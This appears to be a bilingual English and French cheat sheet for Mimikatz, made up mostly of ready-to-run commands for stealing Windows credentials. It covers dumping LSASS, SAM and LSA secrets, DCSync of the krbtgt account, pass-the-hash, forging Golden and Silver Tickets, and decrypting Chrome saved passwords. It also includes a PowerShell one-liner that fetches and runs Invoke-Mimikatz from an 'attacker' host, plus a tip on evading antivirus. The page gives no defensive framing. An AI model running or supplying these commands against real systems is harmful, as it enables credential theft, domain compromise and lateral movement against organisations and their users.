Mimikatz
Outil d'extraction d'identifiants Windows. Dump la mémoire LSASS pour les mots de passe en clair, les hachages NTLM, les tickets Kerberos et les secrets SAM/DPAPI/LSA. Windows credential extraction tool. Dumps LSASS memory for plaintext passwords, NTLM hashes, Kerberos tickets, and secrets from SAM/DPAPI/LSA.
↗ https://github.com/gentilkiwi/mimikatzOverview
Mimikatz is the primary tool for Windows credential extraction. It extracts credentials from LSASS memory, SAM, DPAPI, and Kerberos, enabling pass-the-hash, pass-the-ticket, and Golden/Silver Ticket attacks. Requires elevated privileges (SeDebugPrivilege or SYSTEM).
Basic Setup
# Run as Administrator in a mimikatz prompt
mimikatz.exe
# Enable required privileges
mimikatz # privilege::debug
# Check privilege
mimikatz # !+
Credential Dumping
# Dump logon passwords (plaintext on older Windows / WDigest enabled)
sekurlsa::logonpasswords
# Dump NTLM hashes only
sekurlsa::msv
# Dump Kerberos tickets
sekurlsa::tickets
# Dump from LSASS minidump (run remotely)
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# SAM database dump
lsadump::sam
lsadump::sam /system:SYSTEM /sam:SAM # Offline from registry hives
# LSA secrets
lsadump::secrets
# Domain cached credentials (DCC2)
lsadump::cache
# DCSync — replicate credentials from DC without code on DC
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv
Pass-the-Hash
# Open a new process with stolen hash
sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe
# Domain user
sekurlsa::pth /user:jdoe /domain:domain.local /ntlm:HASH /run:powershell.exe
Kerberos Ticket Attacks
# Export all Kerberos tickets to disk
kerberos::list /export
# Import a ticket (.kirbi)
kerberos::ptt ticket.kirbi
# Golden Ticket (requires krbtgt hash)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator
# Silver Ticket (service ticket, requires service account hash)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local \
/service:cifs /rc4:HASH /user:Administrator
# Purge tickets
kerberos::purge
DPAPI (Data Protection API)
# Dump browser passwords / secrets
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect
# Dump DPAPI masterkeys
dpapi::masterkey /in:masterkey /rpc
# Decrypt a DPAPI blob
dpapi::blob /in:blob.bin /masterkey:MASTERKEY_HEX
Running Without Dropping to Disk
# PowerShell one-liner (load from memory)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
# From Cobalt Strike / C2: `mimikatz` or `hashdump`
Tips
- Windows 8.1+ with KB2871997 disables WDigest by default — no plaintext creds in LSASS
- LSASS minidump (via Task Manager > Create Dump / ProcDump) can be analyzed offline to avoid AV
sekurlsa::logonpasswordsrequires SeDebugPrivilege (privilege::debugmust succeed)- DCSync requires Replicating Directory Changes / Replicating Directory Changes All rights
Key modules reference
privilege::debug Enable SeDebugPrivilege
privilege::nt Enable SeCreateTokenPrivilege
sekurlsa::logonpasswords All logon sessions credentials
sekurlsa::msv NTLM hashes
sekurlsa::kerberos Kerberos credentials
sekurlsa::tickets Kerberos tickets
sekurlsa::wdigest WDigest (plaintext)
sekurlsa::pth Pass-the-hash
sekurlsa::minidump Load LSASS dump file
lsadump::sam SAM database
lsadump::secrets LSA secrets
lsadump::cache Cached domain credentials
lsadump::dcsync DCSync attack
lsadump::lsa LSA process dump
kerberos::list List tickets
kerberos::ptt Pass-the-ticket (import)
kerberos::golden Golden/Silver ticket creation
kerberos::purge Remove tickets
dpapi::chrome Browser credentials
dpapi::blob Decrypt DPAPI blob
Vue d’ensemble
Mimikatz est l’outil principal pour l’extraction d’identifiants Windows. Il extrait les identifiants depuis la mémoire LSASS, la SAM, DPAPI et Kerberos, permettant les attaques pass-the-hash, pass-the-ticket et Golden/Silver Ticket. Nécessite des privilèges élevés (SeDebugPrivilege ou SYSTEM).
Configuration de base
# Exécuter en tant qu'administrateur dans une invite mimikatz
mimikatz.exe
# Activer les privilèges requis
mimikatz # privilege::debug
# Vérifier le privilège
mimikatz # !+
Extraction d’identifiants
# Dump des mots de passe de connexion (en clair sur les anciens Windows / si WDigest activé)
sekurlsa::logonpasswords
# Dump des hachages NTLM uniquement
sekurlsa::msv
# Dump des tickets Kerberos
sekurlsa::tickets
# Dump depuis un minidump LSASS (exécuté à distance)
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# Dump de la base SAM
lsadump::sam
lsadump::sam /system:SYSTEM /sam:SAM # Hors ligne depuis les ruches du registre
# Secrets LSA
lsadump::secrets
# Identifiants de cache de domaine (DCC2)
lsadump::cache
# DCSync : réplique les identifiants depuis le DC sans exécuter de code sur le DC
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv
Pass-the-Hash
# Ouvrir un nouveau processus avec le hachage volé
sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe
# Utilisateur de domaine
sekurlsa::pth /user:jdoe /domain:domain.local /ntlm:HASH /run:powershell.exe
Attaques par ticket Kerberos
# Exporter tous les tickets Kerberos sur le disque
kerberos::list /export
# Importer un ticket (.kirbi)
kerberos::ptt ticket.kirbi
# Golden Ticket (nécessite le hachage krbtgt)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator
# Silver Ticket (ticket de service, nécessite le hachage du compte de service)
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local \
/service:cifs /rc4:HASH /user:Administrator
# Purger les tickets
kerberos::purge
DPAPI (Data Protection API)
# Dump des mots de passe / secrets de navigateur
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect
# Dump des masterkeys DPAPI
dpapi::masterkey /in:masterkey /rpc
# Déchiffrer un blob DPAPI
dpapi::blob /in:blob.bin /masterkey:MASTERKEY_HEX
Exécution sans écriture sur disque
# One-liner PowerShell (chargement depuis la mémoire)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
# Depuis Cobalt Strike / C2 : `mimikatz` ou `hashdump`
Conseils
- Windows 8.1+ avec KB2871997 désactive WDigest par défaut : pas d’identifiants en clair dans LSASS
- Un minidump LSASS (via Gestionnaire des tâches > Créer un fichier de vidage / ProcDump) peut être analysé hors ligne pour éviter l’AV
sekurlsa::logonpasswordsnécessite SeDebugPrivilege (privilege::debugdoit réussir)- DCSync nécessite les droits Replicating Directory Changes / Replicating Directory Changes All
Référence des modules clés
privilege::debug Enable SeDebugPrivilege
privilege::nt Enable SeCreateTokenPrivilege
sekurlsa::logonpasswords All logon sessions credentials
sekurlsa::msv NTLM hashes
sekurlsa::kerberos Kerberos credentials
sekurlsa::tickets Kerberos tickets
sekurlsa::wdigest WDigest (plaintext)
sekurlsa::pth Pass-the-hash
sekurlsa::minidump Load LSASS dump file
lsadump::sam SAM database
lsadump::secrets LSA secrets
lsadump::cache Cached domain credentials
lsadump::dcsync DCSync attack
lsadump::lsa LSA process dump
kerberos::list List tickets
kerberos::ptt Pass-the-ticket (import)
kerberos::golden Golden/Silver ticket creation
kerberos::purge Remove tickets
dpapi::chrome Browser credentials
dpapi::blob Decrypt DPAPI blob